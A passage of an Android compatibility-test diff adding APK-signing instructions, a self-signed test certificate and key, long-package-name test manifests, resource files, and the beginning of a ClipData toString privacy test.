+++ b/tests/tests/content/data/readme.txt
@@ -0,0 +1,38 @@
+Fixed APKs, along with v4 signatures and digests used in ChecksumsTest.java.
+Has to be submitted instead of built to keep hashes constant.
+
+Generation of these apks was performed using the `apksigner` command-line tool,
+which lives at `tools/apksig/src/apksigner/java/com/android/apksigner/` in the
+android source tree.  Please refer to the usage instructions there for how to
+sign APKs using different keystores, providers, etc.
+
+Source app:
+    cts/hostsidetests/appsecurity/test-apps/tinyapp
+
+Use this command to re-generate the apk and v4 signature file:
+    apksigner sign --v2-signing-enabled false --v3-signing-enabled false --v4-signing-enabled false --key cts/hostsidetests/appsecurity/certs/pkgsigverify/dsa-3072.pk8 --cert cts/hostsidetests/appsecurity/certs/pkgsigverify/dsa-3072.x509.pem -out cts/tests/tests/content/data/CtsPkgInstallTinyAppV1.apk cts/hostsidetests/appsecurity/res/pkgsigverify/original.apk
+    apksigner sign --v2-signing-enabled true --v3-signing-enabled true --v4-signing-enabled --key cts/hostsidetests/appsecurity/certs/pkgsigverify/dsa-3072.pk8 --cert cts/hostsidetests/appsecurity/certs/pkgsigverify/dsa-3072.x509.pem -out cts/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.apk cts/hostsidetests/appsecurity/res/pkgsigverify/original.apk
+    apksigner sign --v2-signing-enabled true --v3-signing-enabled true --v4-signing-enabled --key cts/hostsidetests/appsecurity/certs/pkgsigverify/ec-p384.pk8 --cert cts/hostsidetests/appsecurity/certs/pkgsigverify/ec-p384.x509.pem -out cts/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk cts/hostsidetests/appsecurity/res/pkgsigverify/original.apk
+    apksigner sign --v2-signing-enabled true --v3-signing-enabled true --v4-signing-enabled --verity-enabled --key cts/hostsidetests/appsecurity/certs/pkgsigverify/dsa-3072.pk8 --cert cts/hostsidetests/appsecurity/certs/pkgsigverify/dsa-3072.x509.pem -out cts/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Verity.apk cts/hostsidetests/appsecurity/res/pkgsigverify/original.apk
+
+!Please note that all hardcoded hashes in ChecksumsTest.java will have to be changed!
+Use md5sum, sha1sum, sha256sum, sha512sum to regenerate full apk hashes.
+
+To enable signature check, use ApkChecksums.writeChecksums to store the required checksums:
+    CtsPkgInstallTinyAppV2V3V4.digests
+    HelloWorld5.digests
+    HelloWorld5_hdpi-v4.digests
+    HelloWorld5_mdpi-v4.digests
+
+Create a self-signed certificate:
+    openssl req -x509 -newkey rsa:4096 -nodes -keyout test-key.pem -out test-cert.x509.pem -days 36500 -subj "/C=US/ST=California/L=Mountain View/O=Android/OU=Android/CN=Android/emailAddress=incremental-dev@google.com"
+Sign:
+    openssl cms -sign -binary -nosmimecap -in CtsPkgInstallTinyAppV2V3V4.digests -signer test-cert.x509.pem -inkey test-key.pem -outform der -out CtsPkgInstallTinyAppV2V3V4.digests.signature
+    openssl cms -sign -binary -nosmimecap -in HelloWorld5.digests -signer test-cert.x509.pem -inkey test-key.pem -outform der -out HelloWorld5.digests.signature
+    openssl cms -sign -binary -nosmimecap -in HelloWorld5_hdpi-v4.digests -signer test-cert.x509.pem -inkey test-key.pem -outform der -out HelloWorld5_hdpi-v4.digests.signature
+    openssl cms -sign -binary -nosmimecap -in HelloWorld5_mdpi-v4.digests -signer test-cert.x509.pem -inkey test-key.pem -outform der -out HelloWorld5_mdpi-v4.digests.signature
+
+Verify the resulting signature:
+    openssl cms -verify -binary -in CtsPkgInstallTinyAppV2V3V4.digests.signature -inform der -CAfile test-cert.x509.pem -signer test-cert.x509.pem -content CtsPkgInstallTinyAppV2V3V4.digests
+Print out the content of the signature:
+    openssl pkcs7 -print -inform DER -in CtsPkgInstallTinyAppV2V3V4.digests.signature
diff --git a/tests/tests/content/data/test-cert.x509.pem b/tests/tests/content/data/test-cert.x509.pem
new file mode 100644
index 0000000..53917205
--- /dev/null
+++ b/tests/tests/content/data/test-cert.x509.pem
@@ -0,0 +1,35 @@
+-----BEGIN CERTIFICATE-----
+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
+-----END CERTIFICATE-----
diff --git a/tests/tests/content/data/test-key.pem b/tests/tests/content/data/test-key.pem
new file mode 100644
index 0000000..8c713cc
--- /dev/null
+++ b/tests/tests/content/data/test-key.pem
@@ -0,0 +1,52 @@
+-----BEGIN PRIVATE KEY-----
+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
+Glup51WDvqxTqZeu5H8LjUtRuNt33Cc=
+-----END PRIVATE KEY-----
diff --git a/tests/tests/content/emptytestapp/Android.bp b/tests/tests/content/emptytestapp/Android.bp
index f8a2017..c553490 100644
--- a/tests/tests/content/emptytestapp/Android.bp
+++ b/tests/tests/content/emptytestapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsContentEmptyTestApp",
     defaults: ["cts_defaults"],
@@ -27,3 +23,53 @@
     ],
     min_sdk_version : "29"
 }
+
+android_test_helper_app {
+    name: "CtsContentLongPackageNameTestApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    manifest: "AndroidManifestLongPackageName.xml",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    aaptflags: ["--warn-manifest-validation"]
+}
+
+android_test_helper_app {
+    name: "CtsContentLongSharedUserIdTestApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    manifest: "AndroidManifestLongSharedUserId.xml",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    aaptflags: ["--warn-manifest-validation"]
+}
+
+android_test_helper_app {
+    name: "CtsContentMaxPackageNameTestApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    manifest: "AndroidManifestMaxPackageName.xml",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsContentMaxSharedUserIdTestApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    manifest: "AndroidManifestMaxSharedUserId.xml",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
\ No newline at end of file
diff --git a/tests/tests/content/emptytestapp/AndroidManifestLongPackageName.xml b/tests/tests/content/emptytestapp/AndroidManifestLongPackageName.xml
new file mode 100644
index 0000000..0040c62
--- /dev/null
+++ b/tests/tests/content/emptytestapp/AndroidManifestLongPackageName.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<!-- Test that apk with a long package name size 224 could not be installed successfully.
+     The maximum size of the package name is 223 -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.content.cts.emptytestapp27jEBRNRG3ozwBsGr1sVIM9U0bVTI2TdyIyeRkZgW4JrJefwNIBAmCg4AzqXiCvG6JjqA0uTCWSFu2YqAVxVdiRKAay19k5VFlSaM7QW9uhvlrLQqsTW01ofFzxNDbp2QfIFHZR6rebKzKBz6byQFM0DYQnYMwFWXjWkMPNdqkRLykoFLyBup53G68k2n8wl">
+<application android:hasCode="false" android:label="Empty Test App" />
+</manifest>
diff --git a/tests/tests/content/emptytestapp/AndroidManifestLongSharedUserId.xml b/tests/tests/content/emptytestapp/AndroidManifestLongSharedUserId.xml
new file mode 100644
index 0000000..b57c609
--- /dev/null
+++ b/tests/tests/content/emptytestapp/AndroidManifestLongSharedUserId.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<!-- Test that apk with a long shared user id size 224 could not be installed successfully.
+     The maximum size of the shared user id is 223 -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.content.cts.emptytestapp"
+        android:sharedUserId="android.content.cts.emptytestapp.shareduseridBp05Ok3DDwKRRaaJTglSJ1b8CApMKVpqhs8MJioRQcDEslzBIFS8ArsT8IwByiTC1ArGiA3bi49pGwKDVzYJEluxHNJukCM7xamCByVrtGo0r93eVa3tPriVkCYe01Vxrmg9tkWThStdLAbgBOT4tNI3pP6NHAsiSie4CfrCWkc5IloeCYK">
+    <application android:hasCode="false" android:label="Empty Test App" />
+</manifest>
diff --git a/tests/tests/content/emptytestapp/AndroidManifestMaxPackageName.xml b/tests/tests/content/emptytestapp/AndroidManifestMaxPackageName.xml
new file mode 100644
index 0000000..21e59e5
--- /dev/null
+++ b/tests/tests/content/emptytestapp/AndroidManifestMaxPackageName.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<!-- Test that apk with a maximum package name size 223 could be installed successfully. -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.content.cts.emptytestapp27jEBRNRG3ozwBsGr1sVIM9U0bVTI2TdyIyeRkZgW4JrJefwNIBAmCg4AzqXiCvG6JjqA0uTCWSFu2YqAVxVdiRKAay19k5VFlSaM7QW9uhvlrLQqsTW01ofFzxNDbp2QfIFHZR6rebKzKBz6byQFM0DYQnYMwFWXjWkMPNdqkRLykoFLyBup53G68k2n8w">
+<application android:hasCode="false" android:label="Empty Test App" />
+</manifest>
diff --git a/tests/tests/content/emptytestapp/AndroidManifestMaxSharedUserId.xml b/tests/tests/content/emptytestapp/AndroidManifestMaxSharedUserId.xml
new file mode 100644
index 0000000..c5cb30b
--- /dev/null
+++ b/tests/tests/content/emptytestapp/AndroidManifestMaxSharedUserId.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<!-- Test that apk with a maximum shared user id size 223 could be installed successfully. -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.content.cts.emptytestapp"
+        android:sharedUserId="android.content.cts.emptytestapp.shareduseridBp05Ok3DDwKRRaaJTglSJ1b8CApMKVpqhs8MJioRQcDEslzBIFS8ArsT8IwByiTC1ArGiA3bi49pGwKDVzYJEluxHNJukCM7xamCByVrtGo0r93eVa3tPriVkCYe01Vxrmg9tkWThStdLAbgBOT4tNI3pP6NHAsiSie4CfrCWkc5IloeCY">
+    <application android:hasCode="false" android:label="Empty Test App" />
+</manifest>
diff --git a/tests/tests/content/jni/Android.bp b/tests/tests/content/jni/Android.bp
index 3e8aeb8..2328276 100644
--- a/tests/tests/content/jni/Android.bp
+++ b/tests/tests/content/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libnativecursorwindow_jni",
     srcs: ["NativeCursorWindow.cpp"],
diff --git a/tests/tests/content/lib/accountaccess/Android.bp b/tests/tests/content/lib/accountaccess/Android.bp
index d4d22d0..0773b86 100644
--- a/tests/tests/content/lib/accountaccess/Android.bp
+++ b/tests/tests/content/lib/accountaccess/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "accountaccesslib",
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/content/pm/SecureFrp/Android.bp b/tests/tests/content/pm/SecureFrp/Android.bp
index 8117dab..09872e7 100644
--- a/tests/tests/content/pm/SecureFrp/Android.bp
+++ b/tests/tests/content/pm/SecureFrp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSecureFrpInstallTestCases",
 
diff --git a/tests/tests/content/pm/SecureFrp/AndroidManifest.xml b/tests/tests/content/pm/SecureFrp/AndroidManifest.xml
index 9e45d4a..309f4a1 100644
--- a/tests/tests/content/pm/SecureFrp/AndroidManifest.xml
+++ b/tests/tests/content/pm/SecureFrp/AndroidManifest.xml
@@ -21,8 +21,6 @@
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
 
     <application>
-        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
-                  android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/tests/tests/content/res/font/sample_downloadable_font.xml b/tests/tests/content/res/font/sample_downloadable_font.xml
new file mode 100644
index 0000000..2256f39
--- /dev/null
+++ b/tests/tests/content/res/font/sample_downloadable_font.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:fontProviderAuthority="com.example.test.fontprovider"
+    android:fontProviderQuery="MyRequestedFont"
+    android:fontProviderPackage="com.example.test.fontprovider.package"
+    android:fontProviderSystemFontFamily="sans-serif">
+</font-family>
\ No newline at end of file
diff --git a/tests/tests/content/res/values-land/strings.xml b/tests/tests/content/res/values-land/strings.xml
new file mode 100644
index 0000000..09c1c4f
--- /dev/null
+++ b/tests/tests/content/res/values-land/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="config_overridden_string">landscape</string>
+</resources>
diff --git a/tests/tests/content/res/values/strings.xml b/tests/tests/content/res/values/strings.xml
index 0d72c9f..552bfdf 100644
--- a/tests/tests/content/res/values/strings.xml
+++ b/tests/tests/content/res/values/strings.xml
@@ -183,4 +183,9 @@
     <string name="permdesc_callAbroad">Make calls abroad</string>
 
     <string name="density_string">default</string>
+
+    <string name="attribution_label_one">attribution label one</string>
+    <string name="attribution_label_two">attribution label two</string>
+
+    <string name="config_overridden_string">default</string>
 </resources>
diff --git a/tests/tests/content/res/xml/metadata.xml b/tests/tests/content/res/xml/metadata.xml
new file mode 100644
index 0000000..d4f854f
--- /dev/null
+++ b/tests/tests/content/res/xml/metadata.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<thedata xmlns:android="http://schemas.android.com/apk/res/android"
+         rawText="some raw text"
+         rawColor="#ffffff00"
+         android:color="#f00"
+         android:text="@string/metadata_text"
+/>
\ No newline at end of file
diff --git a/tests/tests/content/src/android/content/cts/ClipDataTest.java b/tests/tests/content/src/android/content/cts/ClipDataTest.java
new file mode 100644
index 0000000..ae39864
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/ClipDataTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+
+import android.content.ClipData;
+import android.content.ClipDescription;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.PersistableBundle;
+import android.util.Log;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ClipDataTest {
+    private static final String LOG_TAG = "ClipDataTest";
+
+    @Test
+    public void testToString_text() {
+        ClipData clip = ClipData.newPlainText(null, "secret-text");
+        String clipStr = clip.toString();
+        Log.i(LOG_TAG, clipStr);
+        assertThat(clipStr).doesNotContain("secret");
+    }
+
+    @Test
+    public void testToString_html() {
+        ClipData clip = ClipData.newHtmlText(null, "secret-text", "secret-html");
+        String clipStr = clip.toString();
+        Log.i(LOG_TAG, clipStr);
+        assertThat(clipStr).doesNotContain("secret");
+    }
+
+    @Test
+    public void testToString_uri() {
+        ClipData clip = ClipData.newRawUri(null, Uri.parse("content://secret"));
+        String clipStr = clip.toString();
+        Log.i(LOG_TAG, clipStr);
+        assertThat(clipStr).doesNotContain("secret");
+    }
+
+    @Test
+    public void testToString_metadata() {
+        ClipDescription description = new ClipDescription("secret-label",
+                new String[]{"text/plain"});
+        PersistableBundle extras = new PersistableBundle();
+        extras.putString("secret-key", "secret-value");
+        description.setExtras(extras);
+        description.setTimestamp(42);
+        ClipData clip = new ClipData(description, new ClipData.Item("secret-text"));
+        String clipStr = clip.toString();
+        Log.i(LOG_TAG, clipStr);
+        assertThat(clipStr).doesNotContain("secret");
+    }
+
+    @Test
+    public void testToString_multipleItems() {
+        ClipData clip = ClipData.newPlainText(null, "secret-one");
+        clip.addItem(new ClipData.Item("secret-two"));
